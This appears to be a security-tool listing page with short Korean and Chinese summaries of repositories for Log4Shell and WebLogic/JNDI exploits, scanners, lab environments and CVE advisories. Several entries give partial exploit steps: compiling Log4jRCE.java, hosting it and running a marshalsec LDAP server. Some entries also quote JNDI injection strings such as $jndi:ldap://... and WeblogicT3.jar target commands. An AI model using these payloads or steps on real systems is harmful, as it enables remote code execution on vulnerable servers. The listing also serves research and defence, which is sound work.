log4shell_scanner

log4shellscanner 빠르고 간단한 스캐너로, 일반적인 포트를 스캔하여 Log4Shell CVE-2021-44228 취약점을 탐색합니다. 이 도구는 wget, curl, nmap 및 Log4Shell Huntress LDAP 엔드포인트를 사용합니다: https://log4shell.huntress.com/ 인터넷에 접속할 수 없는 사설 서브넷을 스캔해야 한다면, 다음 소스 코드를 사용하여 자체 HTTP 및 LDAP 서버를 구축할 수 있습니다:...

Wireshark

Wireshark 악성코드 분석 설명 이 실습에서는 Log4j 취약점을 악용한 알려진 악성 패킷 캡처를 분석했습니다. 패킷 캡처 분석 시 사용하는 동일한 플레이북으로 조사를 시작했습니다. 즉, 통계를 확인하고 엔드포인트 간 통신량을 살펴보는 것입니다. 엄청난 수의 IP 주소를 발견하고 이를 지도에 표시하기 위해 Max Mind의 GEOIP 데이터베이스를 설치 및 구성하여 IP 주소를 국가와 도시로 변환했습니다. 이 많은 IP 주소는 Log4j 취약점이나 기타 악성 스캐닝을 위한 봇넷의 잠재적 공격을 의미합니다. 캡처된 트래픽이...

CVE-2021-44228-Log4j-PoC-RCE

Apache Log4j CVE-2021-44228 GK7 PoC 단계 1. Log4jRCE.java를 컴파일하고 .class 파일을 웹 서버로 이동합니다 예: 로컬 PHP 1. cd src/main/java 2. javac Log4jRCE.java 3. .class 파일을 웹 서버로 이동하거나 로컬에서 PHP를 시작합니다 예: php -S 127.0.0.1:8888 2. LDAP 서버 시작 1. git clone [email protected]:Grupo-Kapa-7/marshalsec.git 2. cd...

CVE-2020-14645

CVE-2020-14645 사용 방법 먼저 NDI-Injection-Exploit을를 사용하여 리슨하고 ldap 주소를 생성합니다. java -jar WeblogicT3.jar -Target 127.0.0.1 -Port 7001 -RMI ldap://127.0.0.1:1389/dozvtq --SSL -Tatget 및 -RMI는 필수이며, https는 --SSL 매개변수를 사용할 수 있고, -Port의 기본값은 7001입니다. 직접 컴파일하려면 coherence.jar 및 wlfullclient.jar를 추가해야 합니다. 취약점...

Weblogic-CVE-2023-21839

Weblogic-CVE-2023-21839 CVE-2023-21839 네트워크에 공개된 POC를 기반으로 만든 도구 영향을 받는 버전 12.2.1.3.0 12.2.1.4.0 14.1.1.0.0 사용 방법 java -jar 대상 IP:포트 LDAP 주소 추천 도구: https://github.com/WhiteHSBG/JNDIExploit 면책 조항 이 도구는 네트워크 보안 공격 및 방어 연구 교류용으로만 제공되며, 사용자는 네트워크 보안법을 준수하여 합리적으로 사용하시기 바랍니다! 사용자가 이 도구를 사용하여 불법 공격 등 위법...

cve-2021-44228-qingteng-online-patch

cve-2021-44228-qingteng-online-patch 这是什么 通过利用漏洞本身热修补CVE-2021-44228。 如何使用 将以下代码注入到可能受CVE-2021-44228影响的任何位置， root@kitploit: $jndi:ldap://your-own-server/patch 为防止修补过程中的中间人攻击（MITM），建议使用以下payload，但对于旧版Java兼容性较差， root@kitploit: $jndi:ldap://your-own-server/anystringexceptpatch 运行你自己的服务器 1. 下载最新的发行版 2...

Log4j-Rec-CVE-2021-44228

Log4j2 재현 노트, 학습용 참조 https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce 실행 파일 생성 root@kitploit: com/example/template javac Log4jRCE.java Python 내장 HTTP 서버 시작 root@kitploit: com/example/template python -m http.server 8888 LDAP 서버 시작 root@kitploit: tools java -cp...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228Apache Log4j 원격 코드 실행） 모든 log4j-core 버전 =2.0-beta9 및 =2.14.1 1.x 버전에는 다른 취약점이 있으므로 최신 버전으로 업데이트할 것을 권장합니다. Log4ShellCVE-2021-44228 관련 보안 권고 / 공지 사용법: 이 프로젝트를 다운로드하고, 익스플로잇 코드 blob/master/src/main/java/Exploit.java를 컴파일한 후, 컴파일된 바이너리를 다운로드할 수 있도록 웹서버를 시작하세요. root@kitploit: git clone...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

Log4shell

이글루코퍼레이션 원치현 Log4shell 분석보고서 Log4shell CVE-2021-44228 Log4j 아파치 재단의 무료오픈소스 java기반의 모든 애플가능 다양한 자바 기반 서비스 로그 기록 JDNI데이터및 객체를 발견 참고하기위한 자바 LDAP1389 Lookup JNDI를 통해 찾은 자원을 사용하는 기능 취약서버 구동 도커이미지파일 다운로드 Asudo git clone sudo docker build . -t vulnerable-app 새로 생성할 이미지를 vulnerable-app으로 현재 디렉토리에 도커 이미지...

log4j2-issue-check

Log4Shell: RCE 0-day 이슈 평가 이 저장소는 Log4j2 취약점 CVE-2021-44228을 평가하기 위한 코드를 포함하고 있습니다. 자세한 내용 https://www.lunasec.io/docs/blog/log4j-zero-day/ 테스트 방법 쿼리 매개변수로 $jndi:ldap://127.0.0.1:3089/를 포함한 GET 요청을 보냅니다. root@kitploit:...

CVE-2021-44228

CVE-2021-44228 Apache Log4j 원격 코드 실행） 모든 log4j-core 버전 =2.0-beta9 및 =2.14.1 1.x 버전에는 다른 취약점이 있으므로 최신 버전으로 업데이트하는 것이 좋습니다. Log4ShellCVE-2021-44228과 관련된 보안 권고 / 게시판 사용법: 이 프로젝트를 다운로드하고, 익스플로잇 코드 blob/master/src/main/java/Exploit.java를 컴파일한 후, 컴파일된 바이너리를 다운로드할 수 있도록 웹서버를 시작하세요. root@kitploit: git...

shiro

CVE-2026-49268 — LDAP 인젝션 인증 우회 취약점 분석 및 해결 | ---|--- 브랜치| 1.13-CVE-2026-49268 작성자| Jinwoo Hwang https://JinwooHwang.com 이 브랜치1.13-CVE-2026-49268는 Apache Shiro 1.13 릴리스의 LDAP 인젝션 인증 우회 취약점에 대한 포괄적인 보안 해결책을 포함하고 있습니다. 공식 NVD 설명 원격 공격자가 DefaultLdapRealm 클래스의 Distinguished NameDN 구성에 LDAP 특수 문자를 주입할...

CVE-2021-44228_dockernize

CVE-2021-44228 Log4Shell 취약점 실습 환경 소개 이 프로젝트는 CVE-2021-44228 Log4Shell로 알려진 심각한 Log4j 취약점을 안전하게 실습하고 이해할 수 있는 도커화된 환경을 제공합니다. 주요 기능 안전한 도커화된 테스트 환경 사용자 정의 페이로드 테스트 기능 공격자의 LDAP 서버 및 취약한 Java 애플리케이션 포함 시작하기 root@kitploit: docker compose up --build 페이로드 테스트 1. /vulnerable/Makefile의 test 섹션에서 페이로드를...

CVE-2026-5050-Blind-LDAP-Injection-via-Unescaped-Filter

CVE-2026-5050 – 이스케이프되지 않은 필터를 통한 블라인드 LDAP 인젝션 프로그램 코드 Python 기반 ldap3 시뮬레이션 root@kitploit: ldapserversim.py - Simulated LDAP authentication server from flask import Flask, request, jsonify app = Flaskname Fake user database USERS = 'admin': 'password': 'secret', 'role': 'admin', 'user':...

log4shell

Log4Shell CVE-2021-44228 — 연구 보고서 2021년 12월에 공개된 Apache Log4j 2의 치명적 원격 코드 실행 취약점인 Log4Shell 에 대한 독립형 기술 보고서입니다. 근본 원인 분석, 전체 공격 체인, 탐지/완화 지침, 그리고 격리된 로컬 랩에서 수행한 종단 간 익스플로잇 재현을 터미널 및 로그 증거와 함께 다룹니다. 실시간 보고서 보기 → 포함 내용 취약점 개요 — Log4Shell이 무엇이며 왜 치명적이었는지 기술 분석 — JndiLookup.java의 취약한 코드 경로와 4단계 공격 흐...

Log4Shell-CVE-2021-44228-PoC

Log4Shell CVE-2021-44228: 간단한 설명 Apache Log4j2 2.0-beta9 2.15.0 2.12.2, 2.12.3 및 2.3.1 릴리스는 제외 구성, 로그 메시지 및 매개변수에 사용되는 JNDI 기능은 공격자가 제어하는 LDAP 및 기타 JNDI 관련 엔드포인트로부터 보호하지 못합니다. 로그 메시지 또는 로그 메시지 매개변수를 제어할 수 있는 공격자는 메시지 조회 대체message lookup substitution가 활성화되어 있을 때 LDAP 서버에서 로드된 임의 코드를 실행할 수 있습니다...

CVE-2026-83297

Vulnerability in the Oracle BI Publisher product of Oracle Analytics component: BI Platform Security. Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via LDAP to compromise Oracle B...

CVE-2026-83066

Vulnerability in the Oracle Internet Directory product of Oracle Fusion Middleware component: OID LDAP Server. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle...

CVE-2026-83063

Vulnerability in the Oracle Internet Directory product of Oracle Fusion Middleware component: OID LDAP Server. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows high privileged attacker with network access via LDAP to compromise Oracle...